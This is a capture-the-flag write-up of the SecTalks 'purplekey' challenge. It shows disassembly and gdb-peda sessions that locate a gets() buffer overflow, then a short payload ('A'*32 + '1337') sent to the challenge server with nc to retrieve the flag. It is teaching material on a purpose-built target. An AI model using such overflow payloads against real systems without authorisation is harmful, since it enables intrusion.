Sectalks 0x13 purplekey write up
At sectalks this month ceyx gave great talk on binary exploitation for beginners. In this two part blog post, I’ll be documenting my findings for the two challenges I worked on.
The first challenge named “purplekey” is a standard ELF executable.
root@kali:~/sectalks# file purplekey
purplekey: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.35, BuildID[sha1]=25be0cc5aa2121ba25d77660b8d9404f44c362a3, not stripped
Running strings on the executable we see that it’ll likely ask us for a key and depending on if the inputted key is correct, it’ll print the contents of /home/purplekey/flag.
root@kali:~/sectalks# strings purplekey
---8<---
FAIL
=1337us
[^_]
[+] Starting boot sequence...
[!] Welcome to InsecureBoot v1.337
Enter key:
> Key provided is: %s
/home/purplekey/flag
[!] You're not BillyG, who are you?
---8<---
To make sure the binary works as expected, I’ve created the file /home/purplekey/flag with the contents “You win”. Now lets actually run the binary and see what happens.
root@kali:~/sectalks# ./purplekey
[+] Starting boot sequence...
[!] Welcome to InsecureBoot v1.337
Enter key: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> Key provided is: AAAAAAA
[!] You're not BillyG, who are you?
It looks like it’s taking our inputted string, truncating it and comparing it to something. Using objdump, let’s dissassemble the binary and find the location of the comparision.
root@kali:~/sectalks# objdump -M intel -D purplekey
---8<---
08048560 <main>:
80485b3: 01 c2 add edx,eax
80485b5: c7 04 24 34 87 04 08 mov DWORD PTR [esp],0x8048734
80485bc: e8 5f fe ff ff call 8048420 <puts@plt> ;print a line
80485c1: c7 04 24 54 87 04 08 mov DWORD PTR [esp],0x8048754
80485c8: e8 53 fe ff ff call 8048420 <puts@plt> ;print a line
80485cd: c7 04 24 77 87 04 08 mov DWORD PTR [esp],0x8048777
80485d4: e8 07 fe ff ff call 80483e0 <printf@plt> ;print a line
80485d9: 8d 84 24 18 01 00 00 lea eax,[esp+0x118]
80485e0: 89 04 24 mov DWORD PTR [esp],eax
80485e3: e8 08 fe ff ff call 80483f0 <gets@plt> ;reads our input
80485e8: 8d 84 24 38 01 00 00 lea eax,[esp+0x138]
80485ef: 89 44 24 04 mov DWORD PTR [esp+0x4],eax
80485f3: c7 04 24 83 87 04 08 mov DWORD PTR [esp],0x8048783
80485fa: e8 e1 fd ff ff call 80483e0 <printf@plt> ;print a line
80485ff: 8b 84 24 38 01 00 00 mov eax,DWORD PTR [esp+0x138]
8048606: 3d 31 33 33 37 cmp eax,0x37333331 ;perform a comparision
804860b: 75 73 jne 8048680 <main+0x120> ;if the comparision succeeds jump to the code which prints the flag
---8<---
Now that we know the address of the comparision, let’s generate an input file to test.
root@kali:~/sectalks# echo 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' > input
root@kali:~/sectalks# gdb -q purplekey
Reading symbols from purplekey...(no debugging symbols found)...done.
Set a breakpoint at the comparision at 0x8048606
gdb-peda$ b *0x8048606
Breakpoint 1 at 0x8048606
Finally, let’s run the executable with the generated input file.
gdb-peda$ r < input
Starting program: /root/sectalks/purplekey < input
[+] Starting boot sequence...
[!] Welcome to InsecureBoot v1.337
Enter key: > Key provided is: AAAAAAAAAAA
[----------------------------------registers-----------------------------------]
EAX: 0x41414141 ('AAAA')
EBX: 0x20 (' ')
ECX: 0xffffb06f --> 0x0
EDX: 0xf7fac870 --> 0x0
ESI: 0x1
EDI: 0xf7fab000 --> 0x1b3db0
EBP: 0xffffd6b8 --> 0x0
ESP: 0xffffd570 --> 0x8048783 ("> Key provided is: %s\n")
EIP: 0x8048606 (<main+166>: cmp eax,0x37333331)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80485f3 <main+147>: mov DWORD PTR [esp],0x8048783
0x80485fa <main+154>: call 0x80483e0 <printf@plt>
0x80485ff <main+159>: mov eax,DWORD PTR [esp+0x138]
=> 0x8048606 <main+166>: cmp eax,0x37333331
0x804860b <main+171>: jne 0x8048680 <main+288>
0x804860d <main+173>: lea ebx,[esp+0x18]
0x8048611 <main+177>: mov eax,0x0
0x8048616 <main+182>: mov edx,0x40
[------------------------------------stack-------------------------------------]
0000| 0xffffd570 --> 0x8048783 ("> Key provided is: %s\n")
0004| 0xffffd574 --> 0xffffd6a8 ('A' <repeats 11 times>)
0008| 0xffffd578 --> 0xf7e04564 --> 0x72647800 ('')
0012| 0xffffd57c --> 0xf7fd4858 --> 0xf7df7000 --> 0x464c457f
0016| 0xffffd580 --> 0xffffd5d4 --> 0x0
0020| 0xffffd584 --> 0xffffd5d0 --> 0x0
0024| 0xffffd588 --> 0x3
0028| 0xffffd58c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x08048606 in main ()
As we can the program is comparing part of our input stored in EAX with the static value 0x37333331. We could rerun the binary several times to calculate where the program was taking the value 0x41414141 from but it’s faster to use the pattern_create/pattern_search features to find the exact offset.
gdb-peda$ pattern_create 100 input
Writing pattern of 100 chars to filename "input"
gdb-peda$ r < input
Starting program: /root/sectalks/purplekey < input
[+] Starting boot sequence...
[!] Welcome to InsecureBoot v1.337
Enter key: > Key provided is: A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
[----------------------------------registers-----------------------------------]
EAX: 0x41412941 ('A)AA')
EBX: 0x20 (' ')
ECX: 0xffffb0a8 --> 0x0
EDX: 0xf7fac870 --> 0x0
ESI: 0x1
EDI: 0xf7fab000 --> 0x1b3db0
EBP: 0xffffd6b8 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
ESP: 0xffffd570 --> 0x8048783 ("> Key provided is: %s\n")
EIP: 0x8048606 (<main+166>: cmp eax,0x37333331)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80485f3 <main+147>: mov DWORD PTR [esp],0x8048783
0x80485fa <main+154>: call 0x80483e0 <printf@plt>
0x80485ff <main+159>: mov eax,DWORD PTR [esp+0x138]
=> 0x8048606 <main+166>: cmp eax,0x37333331
0x804860b <main+171>: jne 0x8048680 <main+288>
0x804860d <main+173>: lea ebx,[esp+0x18]
0x8048611 <main+177>: mov eax,0x0
0x8048616 <main+182>: mov edx,0x40
[------------------------------------stack-------------------------------------]
0000| 0xffffd570 --> 0x8048783 ("> Key provided is: %s\n")
0004| 0xffffd574 --> 0xffffd6a8 ("A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0xffffd578 --> 0xf7e04564 --> 0x72647800 ('')
0012| 0xffffd57c --> 0xf7fd4858 --> 0xf7df7000 --> 0x464c457f
0016| 0xffffd580 --> 0xffffd5d4 --> 0x0
0020| 0xffffd584 --> 0xffffd5d0 --> 0x0
0024| 0xffffd588 --> 0x3
0028| 0xffffd58c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x08048606 in main ()
gdb-peda$ pattern_search
Registers contain pattern buffer:
EAX+0 found at offset: 32
Registers point to pattern buffer:
[EBP] --> offset 48 - size ~52
Pattern buffer found at:
0xf7fd2000 : offset 0 - size 100 (mapped)
0xffffb063 : offset 32 - size 68 ($sp + -0x250d [-2372 dwords])
0xffffd688 : offset 0 - size 100 ($sp + 0x118 [70 dwords])
References to pattern buffer found at:
0xf7fab5a4 : 0xf7fd2000 (/lib/i386-linux-gnu/libc-2.22.so)
0xf7fab5a8 : 0xf7fd2000 (/lib/i386-linux-gnu/libc-2.22.so)
0xf7fab5ac : 0xf7fd2000 (/lib/i386-linux-gnu/libc-2.22.so)
0xf7fab5b0 : 0xf7fd2000 (/lib/i386-linux-gnu/libc-2.22.so)
0xf7fab5b4 : 0xf7fd2000 (/lib/i386-linux-gnu/libc-2.22.so)
0xf7fab5b8 : 0xf7fd2000 (/lib/i386-linux-gnu/libc-2.22.so)
0xf7fab5bc : 0xf7fd2000 (/lib/i386-linux-gnu/libc-2.22.so)
0xffffd404 : 0xf7fd2000 ($sp + -0x16c [-91 dwords])
0xffffd420 : 0xf7fd2000 ($sp + -0x150 [-84 dwords])
0xffffd434 : 0xf7fd2000 ($sp + -0x13c [-79 dwords])
0xffffaa40 : 0xffffb063 ($sp + -0x2b30 [-2764 dwords])
We see that after 32 bytes of input our input is being loaded into EAX for comparision. Now that we know the offset that the string is being loaded from and the correct string that it’s being compared to, we can generate an input which should pass the comparision.
root@kali:~/sectalks# python -c 'print "A"*32 + "1337"' | ./purplekey
[+] Starting boot sequence...
[!] Welcome to InsecureBoot v1.337
Enter key: > Key provided is: 1337
You win
OK, so it worked. Let’s try against the actual ctf server to get the flag.
root@kali:~/sectalks# python -c 'print "A"*32 + "1337"' | nc -v hack.sydney 9001
DNS fwd/rev mismatch: hack.sydney != ec2-52-62-2-205.ap-southeast-2.compute.amazonaws.com
hack.sydney [52.62.2.205] 9001 (?) open
[+] Starting boot sequence...
[!] Welcome to InsecureBoot v1.337
Enter key: > Key provided is: 1337
hack.Sydney{fB1_t01d_m3_b4ckd00r5_w3r3_s4f3_wh4t_w3nt_wr0ng}
The flag for purplekey is hack.Sydney{fB1_t01d_m3_b4ckd00r5_w3r3_s4f3_wh4t_w3nt_wr0ng}